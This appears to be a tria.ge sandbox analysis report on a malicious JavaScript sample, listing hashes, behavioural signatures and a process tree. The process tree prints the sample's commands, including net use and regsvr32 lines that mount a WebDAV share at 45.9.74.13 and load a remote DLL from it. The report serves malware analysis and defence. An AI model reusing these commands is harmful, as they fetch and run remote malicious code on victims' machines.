Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
122s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
09/07/2024, 00:24
Static task
static1
Behavioral task
behavioral1
Sample
1606126871545519896.js
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
1606126871545519896.js
Resource
win10v2004-20240704-en
General
-
Target
1606126871545519896.js
-
Size
5KB
-
MD5
20811053ad5eb527f4bbf9a31f654f69
-
SHA1
a6002419219cdf654901b8b97af405423ac66d43
-
SHA256
f8557115f1f413b44d095f54b3c233849a725592e7544ac619c538d66b551fb5
-
SHA512
7c580b34e87382a533be543bcd632806ce6c88a29282dd44b9bd8ad6134bc60b85aad1507d4aa830d22cafaa8dfa49ff11bdbd484a4de82589ee24a2b60285b8
-
SSDEEP
96:nifr0wGRop+BHbZeWNMdwfj1tPdwhjKPrfGzxFfks:ifJG68BHNVNMdwfj1tPdwhjKPSzxFfks
Malware Config
Signatures
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2604 regsvr32.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 2908 wrote to memory of 624 2908 wscript.exe 30 PID 2908 wrote to memory of 624 2908 wscript.exe 30 PID 2908 wrote to memory of 624 2908 wscript.exe 30 PID 624 wrote to memory of 2764 624 cmd.exe 32 PID 624 wrote to memory of 2764 624 cmd.exe 32 PID 624 wrote to memory of 2764 624 cmd.exe 32 PID 624 wrote to memory of 2604 624 cmd.exe 33 PID 624 wrote to memory of 2604 624 cmd.exe 33 PID 624 wrote to memory of 2604 624 cmd.exe 33 PID 624 wrote to memory of 2604 624 cmd.exe 33 PID 624 wrote to memory of 2604 624 cmd.exe 33
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\1606126871545519896.js1⤵
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1606126871545519896.js" "C:\Users\Admin\\gxkjvc.bat" && "C:\Users\Admin\\gxkjvc.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\system32\net.exenet use \\45.9.74.13@8888\DavWWWRoot\3⤵PID:2764
-
-
C:\Windows\system32\regsvr32.exeregsvr32 /s \\45.9.74.13@8888\DavWWWRoot\639.dll3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2604
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD520811053ad5eb527f4bbf9a31f654f69
SHA1a6002419219cdf654901b8b97af405423ac66d43
SHA256f8557115f1f413b44d095f54b3c233849a725592e7544ac619c538d66b551fb5
SHA5127c580b34e87382a533be543bcd632806ce6c88a29282dd44b9bd8ad6134bc60b85aad1507d4aa830d22cafaa8dfa49ff11bdbd484a4de82589ee24a2b60285b8